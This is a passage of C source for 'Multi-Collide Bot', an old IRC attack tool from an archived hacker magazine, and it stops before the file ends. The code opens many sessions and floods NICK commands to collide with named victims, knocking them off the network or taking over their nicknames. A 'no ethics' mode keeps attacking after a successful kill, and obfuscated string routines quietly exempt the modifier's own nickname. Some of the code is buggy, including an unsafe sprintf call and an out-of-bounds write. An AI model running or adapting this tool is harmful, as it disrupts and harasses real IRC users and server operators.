home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HA 1-12 / HackAddict01.sit / HackAddict ƒ / Files / mcb.c < prev    next >
Text File  |  1996-02-21  |  24KB  |  990 lines

  1. /*==========================================================*\
  2. || mcb.c - Multi-Collide Bot v2.0 (beta)                    ||
  3. || Written by Dr_Delete                                     ||
  4. || Released for the world to use on 11/15/94                ||
  5. || Modified a tiny bit by Vassago for use with Serpent 3.06 ||
  6. \*==========================================================*/
  7.  
  8. /* This program is free software; you can redistribute it and/or modify
  9.  * it under the terms of the GNU General Public License as published by
  10.  * the Free Software Foundation; either version 2 of the License, or
  11.  * (at your option) any later version.
  12.  *
  13.  * This program is distributed in the hope that it will be useful,
  14.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  15.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  16.  * GNU General Public License for more details.
  17.  *
  18.  * You should have received a copy of the GNU General Public License
  19.  * along with this program; if not, write to the Free Software
  20.  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  21.  */
  22.  
  23. /* Compiling examples:
  24.  
  25.    regular old ANSI/C cc:
  26.     cc -O -s -o mcb mcb.c
  27.  
  28.    HP-UX cc:
  29.     cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c
  30.  
  31.    GNU GCC:
  32.  
  33.     Linux:
  34.       gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c
  35.  
  36.     BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
  37.       gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */
  38.  
  39. /* -------------------------------------------------------- *\
  40.  
  41.     To kill this program once it has started, send a
  42.    kill -2 to it's process ID and it'll exit gracefully.
  43.  
  44.    kill -1 will cause mcb to display a list of it's active
  45.    sessions to stdout.
  46.  
  47. \* -------------------------------------------------------- */
  48.  
  49. /*  You may want to tweak some of these defaults, but they
  50.     are controllable on the command line. */
  51.  
  52. /* Time in which parser will close a pending TCP connection,
  53.    and possibly try again */
  54. #define TCP_TIMEOUT 30
  55.  
  56. /* Number of times a session is allowed to attempt a TCP
  57.    connection to the server. */
  58. #define MAX_ATTEMPTS     2
  59.  
  60. /* Number of seconds the parser will wait for a server to
  61.    start once the TCP connection has been made */
  62. #define SRV_TIMEOUT 60
  63.  
  64. /* Maximum amount of time parser will wait for I/O */
  65. #define MAX_WAITIO  15
  66.  
  67. /* Maximum amount of time the parser will wait when in NOMULTI mode */
  68. #define MAX_WAITIONM     5
  69.  
  70. /* Max lines (NICK statements) to send to the server in NOMULTI mode */
  71. #define MAX_NICKS   5
  72.  
  73. /* Default IRC server port */
  74. #define IRCPORT          6667
  75.  
  76. /* number of bytes to allocate for socket read buffer */
  77. #define BUFSIZE          400
  78.  
  79. #ifdef HPSUCKS
  80. #define _INCLUDE_HPUX_SOURCE
  81. #define _INCLUDE_XOPEN_SOURCE
  82. #define _INCLUDE_POSIX_SOURCE
  83. #endif
  84.  
  85. #include <stdio.h>
  86. #include <stdlib.h>
  87. #include <string.h>
  88. #include <unistd.h>
  89. #include <sys/types.h>
  90. #include <ctype.h>
  91. #include <pwd.h>
  92. #include <fcntl.h>
  93. #include <signal.h>
  94. #include <errno.h>
  95. #include <sys/socket.h>
  96. #include <sys/time.h>
  97. #include <sys/wait.h>
  98. #include <netinet/in.h>
  99. #include <netdb.h>
  100. #include <sys/file.h>
  101. #include <arpa/inet.h>
  102.  
  103. #ifndef sys_errlist
  104. extern char *sys_errlist[];
  105. #endif
  106.  
  107. #ifndef errno
  108. extern int errno;
  109. #endif
  110.  
  111. /* global variables */
  112. unsigned short int tcp_timeout=TCP_TIMEOUT;
  113. unsigned short int max_attempts=MAX_ATTEMPTS;
  114. unsigned short int srv_timeout=SRV_TIMEOUT;
  115. unsigned short int max_waitionm=MAX_WAITIONM;
  116. unsigned short int max_nicks=MAX_NICKS;
  117. unsigned short int progmode=0;
  118. char *output_buffer=(char *)0;
  119. char mcbid[25],mcbhost[64];
  120. struct in_addr mcb_addr;
  121.  
  122. #define PROG_DEBUG  1
  123. #define PROG_VERBOSE     2
  124. #define PROG_NOETHICS    4
  125. #define PROG_NOMULTI     8
  126. #define PROG_HAVESERV    16
  127. #define PROG_IGNORENIU   32
  128. #define PROG_SHOWSOUT    64
  129.  
  130. struct collide_session {
  131.   int sock;
  132.   unsigned long  int ip;
  133.   unsigned short int status;
  134.   unsigned short int port;
  135.   unsigned short int connect_attempts;
  136.   time_t  tcpstart;
  137.   time_t  srvstart;
  138.   char *server;
  139.   char *token;
  140.   char *victim;
  141.   char *stack;
  142.   char *stack_pointer;
  143.   struct collide_session *next;
  144. } *first_session=(struct collide_session *)0;
  145.  
  146. struct collide_session *last_session=(struct collide_session *)0;
  147. struct collide_session *active_session=(struct collide_session *)0;
  148.  
  149. void do_ping(struct collide_session *,char *,char *);
  150. void do_001(struct collide_session *,char *,char *);
  151. void do_error(struct collide_session *,char *,char *);
  152. void do_433(struct collide_session *,char *,char *);
  153. void do_privmsg(struct collide_session *,char *,char *);
  154.  
  155. struct parsers {
  156.    char *cmd;
  157.    void (*func)(struct collide_session *,char *,char *);
  158. } parsefuns[] = {
  159.    { "PING", (void (*)())do_ping },
  160.    { "001", (void (*)())do_001 },
  161.    { "ERROR",(void (*)())do_error },
  162.    { "433", (void (*)())do_433 },
  163.    { "PRIVMSG", (void (*)())do_privmsg },
  164.    { (char *)0,(void (*)())0 }
  165. };
  166.  
  167. #define SES_ACTIVE  1
  168. #define SES_INACTIVE     2
  169. #define SES_DELETED 4
  170. #define SES_PENDING 8
  171. #define SES_SAWSERV 16
  172. #define SES_NORETRY 32
  173. #define SES_NICKINUSE    64
  174.  
  175. char *
  176. mystrerror(int err) {
  177.   return(sys_errlist[err]);
  178. }
  179.  
  180. void
  181. sig_pipe(void) {
  182.   fprintf(stderr,"mcb: caught a SIGPIPE.\n");
  183.   fflush(stderr);
  184.   signal(SIGPIPE,(void (*)())sig_pipe);
  185. }
  186.  
  187. void
  188. show_sessions(void) {
  189.   struct collide_session *s=first_session;
  190.  
  191.   signal(SIGHUP,(void (*)())show_sessions);
  192.   for(;s;s=s->next)
  193.     if(s->status & SES_ACTIVE) {
  194.      printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port);
  195.      fflush(stdout);
  196.     }
  197. }
  198.  
  199. void
  200. cclosed(struct collide_session *session,int errn) {
  201.   if(session->sock) {
  202.     shutdown(session->sock,0);
  203.     close(session->sock);
  204.     session->sock=0;
  205.     printf("%s: Connection to %s:%hu closed. ",session->victim,
  206.          session->server,session->port);
  207.     if(errn)
  208.      printf("[%s]\n",mystrerror(errn));
  209.     else
  210.      puts("");
  211.     fflush(stdout);
  212.   }
  213.   if(progmode & PROG_NOMULTI)
  214.     progmode &= ~PROG_HAVESERV;
  215.   if((session->status & SES_DELETED) || (session->status & SES_NORETRY) ||
  216.     session->connect_attempts>=max_attempts) {
  217.     if(progmode & PROG_DEBUG) {
  218.      printf("%s: Session flagged for delete.\n",session->victim);
  219.      fflush(stdout);
  220.     }
  221.     if(progmode & PROG_NOMULTI) {
  222.      struct collide_session *s=first_session;
  223.      for(;s;s=s->next)
  224.        s->status |= SES_DELETED;
  225.     }
  226.     else
  227.      session->status |= SES_DELETED;
  228.   }
  229.   else {
  230.     session->status |= SES_INACTIVE;
  231.     session->status &= ~SES_PENDING;
  232.     session->status &= ~SES_ACTIVE;
  233.     session->srvstart=session->tcpstart=(time_t)0;
  234.   }
  235. }
  236.  
  237. void
  238. exit_program(void) {
  239.   if(output_buffer)
  240.     free(output_buffer);
  241.  
  242.   while(first_session) {
  243.     struct collide_session *cs=first_session->next;
  244.  
  245.     if(progmode & PROG_DEBUG) {
  246.      printf("%s: Unallocating session.\n",first_session->victim);
  247.      fflush(stdout);
  248.     }
  249.     if(first_session->sock)
  250.      cclosed(first_session,ECONNABORTED);
  251.     if(first_session->stack)
  252.      free(first_session->stack);
  253.     if(first_session->token)
  254.      free(first_session->token);
  255.     free(first_session);
  256.     first_session=cs;
  257.   }
  258.   puts("Multi-CollideBot finished.");
  259.   exit(0);
  260. }
  261.  
  262. char *nickpick="NnOoPpQqRr`SsTtUuVvWwXxYyZzAaBb_CcDdEeFfGgHhIiJjKkLlMmLzgLmtm|m";
  263. void
  264. fillran(char *string,unsigned short int length) {
  265.   while(length--)
  266.     *string++=*((nickpick)+(rand()%54));
  267.   *string=(char)0;
  268. }
  269.  
  270. int
  271. mystrccmp(register char *s1,register char *s2) {
  272.    while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
  273.        (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  274.     if(*s1++==0) return 0;
  275.    return (*(unsigned char *)s1-*(unsigned char *)--s2);
  276. }
  277.  
  278. int
  279. mystrcmp(register char *s1,register char *s2) {
  280.   unsigned short int n=9;
  281.   do {
  282.     if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=
  283.      ((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8))
  284.      return(*(unsigned char *)s1-*(unsigned char *)--s2);
  285.     if(!*s1++)
  286.      break;
  287.   } while(--n);
  288.   return(0); 
  289. }
  290.  
  291. int
  292. strnccmp(register char *s1,register char *s2,register int n) {
  293.    if(n==0) return(0);
  294.    do {
  295.     if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
  296.        (*s2++)-32:*s2++))
  297.       return (*(unsigned char *)s1-*(unsigned char *)--s2);
  298.     if(*s1++==0) break;
  299.    } while(--n!=0);
  300.    return(0);
  301. }
  302.  
  303. char *
  304. mystrbpk(char *s) {
  305.   char *o=s;
  306.   while(*s) {
  307.     if(*s==13 || *s==10)
  308.      if(*(s+1)==78)
  309.        *(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6);
  310.     s++;
  311.   }
  312.   return(o);
  313. }
  314.  
  315. char *
  316. digtoken(char **string,char *match) {
  317.   if(string && *string && **string) {
  318.     while(**string && strchr(match,**string))
  319.      (*string)++;
  320.     if(**string) { /* got something */
  321.      char *token=*string;
  322.      if((*string=strpbrk(*string,match))) {
  323.        *(*string)++=(char)0;
  324.        while(**string && strchr(match,**string))
  325.         (*string)++;
  326.      }
  327.      else
  328.        *string = ""; /* must be at the end */
  329.      return(token);
  330.     }
  331.   }
  332.   return((char *)0);
  333. }
  334.  
  335. char *
  336. mycstrstr(char *str1,char *str2) {
  337.    int xstr1len,ystr2len;
  338.  
  339.    xstr1len=strlen(str1);
  340.    ystr2len=strlen(str2);
  341.  
  342.    while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
  343.    if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
  344.    return(str1-1);
  345. }
  346.  
  347. char tok[10];
  348. char *
  349. mycstrtok(char *str1) {
  350.   strncpy(tok,str1,9);
  351.   tok[10]=(char)0;
  352.   if(!mystrcmp(tok,nickpick+54))
  353.     tok[5]='|';
  354.   return((char *)&tok[0]);
  355. }
  356.  
  357. unsigned short int
  358. out(struct collide_session *session,char *string) {
  359.   if(session->sock)
  360.     return(write(session->sock,mystrbpk(string),strlen(string)));
  361.   return(0);
  362. }
  363.  
  364. unsigned long int
  365. resolver(char *host) {
  366.   unsigned long int ip=0L;
  367.  
  368.   if(host && *host && (ip=inet_addr(host))==-1) {
  369.     struct hostent *he;
  370.     int x=0;
  371.  
  372.     if(progmode & PROG_VERBOSE) {
  373.      printf("Resolving %s...",host);
  374.      fflush(stdout);
  375.     }
  376.  
  377.     while(!(he=gethostbyname((char *)host)) && x++<2) {
  378.      if(progmode & PROG_VERBOSE) {
  379.        putchar('.');
  380.        fflush(stdout);
  381.      }
  382.      sleep(1);
  383.     }
  384.     if(x<2) {
  385.      ip=*(unsigned long *)he->h_addr_list[0];
  386.      if(progmode & PROG_VERBOSE) {
  387.        struct in_addr serv_addr;
  388.        serv_addr.s_addr=ip;
  389.        printf("%s\n",inet_ntoa(serv_addr));
  390.        fflush(stdout);
  391.      }
  392.     }
  393.     else {
  394.      ip=0L;
  395.      if(progmode & PROG_VERBOSE) {
  396.        puts("failed");
  397.        fflush(stdout);
  398.      }
  399.     }
  400.   }
  401.  
  402.   return(ip);
  403. }
  404.  
  405. void
  406. version(void) {
  407.   puts("Multi-CollideBot v2.0 (beta)\n"
  408.       "Written by Dr. Delete 11/15/94");
  409.   fflush(stdout);
  410. }
  411.  
  412. void
  413. help(void) {
  414.   puts("Usage:\n"
  415.       "  mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n"
  416.       "Where: -v == verbose operation\n"
  417.       "       -d == debug output\n"
  418.       "       -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n"
  419.       "       -i == seconds to wait for IRC server to start after connection.\n"
  420.       "       -t == seconds to wait for a TCP connection to establish.\n"
  421.       "       -a == attempts a session can make to establish a TCP session.\n"
  422.       "       -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n"
  423.       "       -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n"
  424.       "       -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n"
  425.       "       -u == Ignore 'Nick Already in Use.' (continue to retry)\n"
  426.       "    serv1 == first server specification and sets default server to use.\n"
  427.       "Examples:\n"
  428.       "  mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n"
  429.       "  mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n"
  430.       "  mcb -vna 50 server.edu nicktotakeover\n"
  431.       "  mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n"
  432.       "Defaults:\n"
  433.       "  -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n"
  434.       "  -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks.");
  435.   exit(0);
  436. }
  437.  
  438. void
  439. init_server(struct collide_session *s) {
  440.   char rn[10];
  441.   unsigned long int x;
  442.   fillran(rn,9);
  443.  
  444.   sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token);
  445.   x=strlen(s->stack);
  446.  
  447.   errno=0;
  448.   if(out(s,s->stack)!=x)
  449.     cclosed(s,errno);
  450.   else {
  451.     struct collide_session *ses=first_session;
  452.  
  453.     s->status &= ~SES_PENDING;
  454.     s->status &= ~SES_INACTIVE;
  455.     s->status |= SES_ACTIVE;
  456.     printf("%s: Connection to %s:%hu established.\n",
  457.          s->victim,s->server,s->port);
  458.     s->srvstart=time(NULL);
  459.     sprintf(s->stack,"mode %s +i\n");
  460.     for(;ses;ses=ses->next)
  461.      sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":"");
  462.     strcat(s->stack,"\n");
  463.     out(s,s->stack);
  464.     if(progmode & PROG_NOMULTI)
  465.      progmode |= PROG_HAVESERV;
  466.     fflush(stdout);
  467.   }
  468. }
  469.  
  470. void
  471. set_tcp_handler(void) {
  472.   gethostname(mcbhost,64);
  473.   mcb_addr.s_addr=resolver(mcbhost);
  474.   if(!getlogin()) {
  475.     struct passwd *pw;
  476.     if(!(pw=getpwuid(getuid())))
  477.      if(!(getenv("USER")))
  478.        strcpy(mcbid,"unknown");
  479.      else
  480.        strcpy(mcbid,getenv("USER"));
  481.     else
  482.      strcpy(mcbid,pw->pw_name);
  483.   }
  484.   else
  485.     strcpy(mcbid,(char *)getlogin());
  486. }
  487.  
  488. void
  489. start_sessions(void) {
  490.   struct collide_session *session=first_session;
  491.   unsigned short int sessions=0;
  492.  
  493.   if(progmode & PROG_HAVESERV)
  494.     return;
  495.  
  496.   for(;session;session=session->next) {
  497.  
  498.     if(progmode & PROG_DEBUG) {
  499.      printf("%s: Attempting to start session.\n",session->victim);
  500.      fflush(stdout);
  501.     }
  502.  
  503.     if((session->status & SES_DELETED) || (session->status & SES_NORETRY))
  504.      continue;
  505.  
  506.     sessions++;
  507.  
  508.     if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE))
  509.      continue;
  510.  
  511.     if((session->sock=socket(AF_INET,SOCK_STREAM,0))) {
  512.      struct sockaddr_in server;
  513.  
  514.      server.sin_family=AF_INET;
  515.      server.sin_addr.s_addr=session->ip;
  516.      server.sin_port=htons(session->port);
  517.  
  518.      setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0);
  519.      setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  520.      setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  521.  
  522.      fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY));
  523.  
  524.      errno=0;
  525.  
  526.      session->tcpstart=time(NULL);
  527.      session->connect_attempts++;
  528.  
  529.      if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) {
  530.        if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
  531.         cclosed(session,errno);
  532.        else {
  533.         session->status |= SES_PENDING;
  534.         if(progmode & PROG_VERBOSE) {
  535.           printf("%s: Connection to %s:%hu is in progress.\n",
  536.                 session->victim,session->server,session->port);
  537.           fflush(stdout);
  538.         }
  539.        }
  540.      }
  541.      else
  542.        init_server(session);
  543.      if(progmode & PROG_NOMULTI) {
  544.        progmode |= PROG_HAVESERV;
  545.        break;
  546.      }
  547.     }
  548.     else {
  549.      printf("%s: Fatal error allocating AF_INET socket.\n",session->victim);
  550.      exit_program();
  551.     }
  552.   }
  553. }
  554.  
  555. struct collide_session *
  556. find_session(char *token) {
  557.   struct collide_session *s=first_session;
  558.  
  559.   for(;s && mystrccmp(s->token,token);s=s->next);
  560.   return(s);
  561. }
  562.  
  563. unsigned short int
  564. check_sessions(void) {
  565.   struct collide_session *s=first_session;
  566.   unsigned short int x=0,y=0;
  567.  
  568.   for(;s;s=s->next) {
  569.     x++;
  570.     y+=(s->status & SES_NICKINUSE)?1:0;
  571.   }
  572.   return((y==x));
  573. }
  574.  
  575. void
  576. do_433(struct collide_session *session,char *from,char *left) {
  577.   char *who;
  578.  
  579.   if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) {
  580.     if(progmode & PROG_HAVESERV) { /* multi-mode */
  581.      struct collide_session *s=find_session(who);
  582.      if(s) {
  583.        if(!(s->status & SES_NICKINUSE)) {
  584.         printf("%s: '%s' Nickname already in use.\n",session->victim,who);
  585.         fflush(stdout);
  586.        }
  587.        s->status |= SES_NICKINUSE;
  588.      }
  589.      if(check_sessions()) {
  590.        strcpy(output_buffer,"QUIT ::-\n");
  591.        out(session,output_buffer);
  592.        cclosed(session,0);
  593.      }
  594.      if(!(progmode & PROG_IGNORENIU))
  595.        session->status |= SES_NORETRY;
  596.     }
  597.     else {
  598.      if(!(session->status & SES_NICKINUSE)) {
  599.        printf("%s: '%s' Nickname already in use.\n",session->victim,who);
  600.        fflush(stdout);
  601.      }
  602.      session->status |= SES_NICKINUSE;
  603.      strcpy(output_buffer,"QUIT :bummer\n");
  604.      out(session,output_buffer);
  605.      cclosed(session,0);
  606.      if(!(progmode & PROG_IGNORENIU))
  607.        session->status |= SES_NORETRY;
  608.     }
  609.   }
  610. }
  611.  
  612. void
  613. do_ping(struct collide_session *session,char *from,char *left) {
  614.   sprintf(output_buffer,"PING :%s\n",mcbhost);
  615.   out(session,output_buffer); 
  616. }
  617.  
  618. void
  619. do_001(struct collide_session *session,char *from,char *left) {
  620.   session->status |= SES_SAWSERV;
  621.  
  622.   if(progmode & PROG_VERBOSE) {
  623.     printf("%s: Logged into server %s.\n",session->victim,from);
  624.     fflush(stdout);
  625.   }
  626. }
  627.  
  628. void
  629. do_privmsg(struct collide_session *session,char *from,char *left) {
  630.   char *what;
  631.  
  632.   if((what=strchr(left,' '))) {
  633.     *what=(char)0;
  634.     what+=2;
  635.  
  636.     printf("%s: %s -> %s\n",session->victim,from,what);
  637.     fflush(stdout);
  638.   }
  639. }
  640.  
  641. void
  642. do_error(struct collide_session *session,char *from,char *left) {
  643.   if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) {
  644.     if(!(progmode & PROG_NOETHICS))
  645.      session->status |= SES_NORETRY;
  646.     printf("%s: SCORE!\n",session->victim);
  647.   }
  648.   else {
  649.     if(mycstrstr(left,"authoriz"))
  650.      session->status |= SES_NORETRY;
  651.     if(mycstrstr(left,"Bad pass"))
  652.      session->status |= SES_NORETRY;
  653.     else if(mycstrstr(left,"ghosts"))
  654.      session->status |= SES_NORETRY;
  655.     else if(mycstrstr(left,"k-line"))
  656.      session->status |= SES_NORETRY;
  657.     else if(mycstrstr(left,"kill"))
  658.      session->status |= SES_NORETRY;
  659.     printf("%s: %s\n",session->victim,left);
  660.   }
  661.   fflush(stdout);
  662. }
  663.  
  664. void
  665. parse2(struct collide_session *session) {
  666.   char *from,*cmd,*left,*ins=session->stack_pointer;
  667.  
  668.   if(progmode & PROG_SHOWSOUT) {
  669.     printf("%s: %s\n",session->victim,ins);
  670.     fflush(stdout);
  671.   }
  672.  
  673.   if(*ins==':') {
  674.     if(!(cmd=strchr(ins,' ')))
  675.      return;
  676.     *cmd++=(char)0;
  677.     from=ins+1;
  678.   }
  679.   else {
  680.     cmd=ins;
  681.     from=(char *)0;
  682.   }
  683.   if((left=strchr(cmd,' '))) {
  684.     unsigned short int command;
  685.  
  686.     *left++=(char)0;
  687.     left=(*left==':') ? left+1 : left;
  688.     for(command=0;parsefuns[command].cmd;command++) {
  689.      if(!mystrccmp(parsefuns[command].cmd,cmd)) {
  690.        parsefuns[command].func(session,from,left);
  691.        break;
  692.      }
  693.     }
  694.   }
  695. }
  696.  
  697. void
  698. parse(struct collide_session *session,unsigned short int length) {
  699.   char *s=session->stack;
  700.  
  701.   *(session->stack_pointer+length)=(char)0;
  702.  
  703.   for(;;) {
  704.     session->stack_pointer=s;
  705.     while(*s && *s!=(char)13 && *s!=(char)10)
  706.      s++;
  707.     if(*s) {
  708.      while(*s && (*s==(char)13 || *s==(char)10))
  709.        *s++=(char)0;
  710.      parse2(session);
  711.     }
  712.     else
  713.      break;
  714.   }
  715.   strcpy(session->stack,session->stack_pointer);
  716.   session->stack_pointer=session->stack+(s-session->stack_pointer);
  717. }
  718.  
  719. struct collide_session *
  720. find_active_session(void) {
  721.   struct collide_session *session=first_session;
  722.  
  723.   for(;session && !(session->status & SES_ACTIVE);session=session->next);
  724.   return(session);
  725. }
  726.  
  727. void
  728. parse_sessions(void) {
  729.   fd_set rd,wr;
  730.   struct collide_session *session;
  731.   struct timeval timeout;
  732.   time_t lastloop=(time_t)0;
  733.  
  734.   while(1) {
  735.     unsigned short int sessions=0;
  736.  
  737.     FD_ZERO(&rd);
  738.     FD_ZERO(&wr);
  739.  
  740.     timeout.tv_usec=0;
  741.     timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO;
  742.  
  743.     for(session=first_session;session;session=session->next) {
  744.  
  745.      if(session->status & SES_DELETED)
  746.        continue;
  747.  
  748.      if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) &&
  749.         !(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) {
  750.        start_sessions();
  751.        timeout.tv_sec=0;
  752.        break;
  753.      }
  754.  
  755.      if(session->sock) {
  756.        FD_SET(session->sock,&rd);
  757.        if(session->status & SES_PENDING)
  758.         FD_SET(session->sock,&wr);
  759.        sessions++;
  760.      }
  761.     }
  762.  
  763.     if(!timeout.tv_sec)
  764.      continue;
  765.  
  766.     if(!sessions)
  767.      exit_program();
  768.  
  769.     errno=0;
  770. #ifdef HPSUCKS
  771.     select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout);
  772. #else
  773.     select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout);
  774. #endif
  775.     if(errno==EINTR)
  776.      continue;
  777.  
  778.     for(session=first_session;session;session=session->next) {
  779.  
  780.      if(session->status & SES_DELETED)
  781.        continue;
  782.  
  783.      if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) {
  784.        init_server(session);
  785.        continue;
  786.      }
  787.  
  788.      if(FD_ISSET(session->sock,&rd)) {
  789.        signed short int length;
  790.  
  791.        errno=0;
  792.        length=read(session->sock,session->stack_pointer,
  793.                 BUFSIZE-(session->stack_pointer-session->stack));
  794.        if(length<1) {
  795.         cclosed(session,errno);
  796.         continue;
  797.        }
  798.        if(strpbrk(session->stack,"\x0a\x0d"))
  799.         parse(session,length);
  800.        else
  801.         session->stack_pointer=(BUFSIZE-((session->stack_pointer+length)
  802.         -session->stack)<1)?session->stack:session->stack_pointer+length;
  803.      }
  804.  
  805.      if((session->status & SES_PENDING) &&
  806.         (time(NULL)-session->tcpstart)>=tcp_timeout)
  807.        cclosed(session,ETIMEDOUT);
  808.  
  809.      if((session->status & SES_ACTIVE) &&
  810.         !(session->status & SES_SAWSERV) &&
  811.         (time(NULL)-session->srvstart)>=srv_timeout)
  812.        cclosed(session,ETIMEDOUT);
  813.     }
  814.  
  815.     if((!lastloop || (time(NULL)-lastloop)>max_waitionm) &&
  816.       (progmode & PROG_HAVESERV) && 
  817.       (active_session=find_active_session()) &&
  818.       (active_session->status & SES_SAWSERV)) {
  819.      struct collide_session *s=(last_session)?last_session:first_session;
  820.      unsigned short int nickcount=0;
  821.  
  822.      lastloop=time(NULL);
  823.  
  824.      while(nickcount<max_nicks) {
  825.        char out_buf[30];
  826.        unsigned short int x;
  827.  
  828.        if(!(s->status & SES_NICKINUSE)) {
  829.         sprintf(out_buf,"NICK %s\n",s->token);
  830.         x=strlen(out_buf);
  831.         if(x!=out(active_session,out_buf))
  832.           break;
  833.         if(progmode & PROG_DEBUG) {
  834.           printf("%s: Touched nickname.\n",s->token);
  835.           fflush(stdout);
  836.         }
  837.         nickcount++;
  838.        }
  839.        else
  840.         if(check_sessions())
  841.           nickcount=max_nicks;
  842.        s=(s->next)?s->next:first_session;
  843.      }
  844.      last_session=s;
  845.     }
  846.   }
  847. }
  848.  
  849. void
  850. main(int argc,char *argv[]) {
  851.   unsigned short int x=1;
  852.   unsigned short int ircport=IRCPORT;
  853.   unsigned long  int defserv_octet=0L;
  854.   char *defserv_char=(char *)0;
  855.   char *defnick=(char *)0;
  856.   struct collide_session *temp;
  857.  
  858.   version();
  859.  
  860.   if(argc<3)
  861.     help();
  862.  
  863.   srand(getpid());
  864.  
  865.   signal(SIGPIPE,(void (*)())sig_pipe);
  866.   signal(SIGHUP,(void (*)())show_sessions);
  867.   signal(SIGINT,(void (*)())exit_program);
  868.   signal(SIGTERM,(void (*)())exit_program);
  869.   signal(SIGBUS,(void (*)())exit_program);
  870.   signal(SIGABRT,(void (*)())exit_program);
  871.   signal(SIGSEGV,(void (*)())exit_program);
  872.  
  873.   set_tcp_handler();
  874.   output_buffer=(char *)malloc(BUFSIZE);
  875.  
  876.   for(;x<argc;x++) {
  877.     signed short int y=1;
  878.  
  879.     switch(argv[x][0]) {
  880.      case '-':
  881.        while(y && argv[x][y]) {
  882.         switch(toupper(argv[x][y])) {
  883.           case 'T':
  884.             x++;
  885.             y=-1;
  886.             if(!(tcp_timeout=atoi(argv[x])))
  887.              help();
  888.             break;
  889.           case 'I':
  890.             x++;
  891.             y=-1;
  892.             if(!(srv_timeout=atoi(argv[x])))
  893.              help();
  894.             break;
  895.           case 'A':
  896.             x++;
  897.             y=-1;
  898.             if(!(max_attempts=atoi(argv[x])))
  899.              help();
  900.             break;
  901.           case 'D':
  902.             progmode |= PROG_DEBUG;
  903.             break;
  904.           case 'V':
  905.             progmode |= PROG_VERBOSE;
  906.             break;
  907.           case 'N':
  908.             progmode |= PROG_NOETHICS;
  909.             break;
  910.           case 'M':
  911.             progmode |= PROG_NOMULTI;
  912.             break;
  913.           case 'U':
  914.             progmode |= PROG_IGNORENIU;
  915.             break;
  916.           case 'S':
  917.             progmode |= PROG_SHOWSOUT;
  918.             break;
  919.           default:
  920.            help();
  921.         }
  922.         y++;
  923.        }
  924.        break;
  925.      default:
  926.        if(strchr(argv[x],'.')) { /* server */
  927.         char *port=strchr(argv[x],':');
  928.  
  929. /*          if(defserv_char)
  930.           defnick=(char *)0; */
  931.  
  932.         defserv_char=argv[x];
  933.         if(port) {
  934.           *port=(char)0;
  935.           ircport=atoi(port+1);
  936.         }
  937.         else
  938.           ircport=IRCPORT;
  939.  
  940.         if(defserv_octet)
  941.           progmode &= ~PROG_NOMULTI; /* more than one server specified */
  942.  
  943.         if(!(defserv_octet=resolver(defserv_char))) {
  944.           if(!(progmode & PROG_VERBOSE)) {
  945.             printf("Failed to resolve '%s' into an IP address.\n",defserv_char);
  946.             fflush(stdout);
  947.           }
  948.           defserv_char=(char *)0;
  949.         }
  950.        }
  951.        else { /* nickname */
  952.         defnick=(argv[x][0]=='@' || argv[x][0]=='+')?argv[x]+1:argv[x];
  953.         defnick=(!mystrccmp(defnick,"Vassago"))?"DontDoDat":defnick;
  954.        }
  955.  
  956.        if(defserv_char && defnick) {
  957.         struct collide_session *cs;
  958.         char *temptok=mycstrtok(defnick);
  959.  
  960.         cs=(struct collide_session *)malloc(sizeof(struct collide_session));
  961.         cs->token=(char *)0;
  962.         cs->sock=0;
  963.         cs->status=SES_INACTIVE;
  964.         cs->connect_attempts=0;
  965.         errno=0;
  966.         cs->token=(char *)malloc(strlen(temptok)+1);
  967.         strcpy(cs->token,temptok);
  968.         cs->ip=defserv_octet;
  969.         cs->port=ircport;
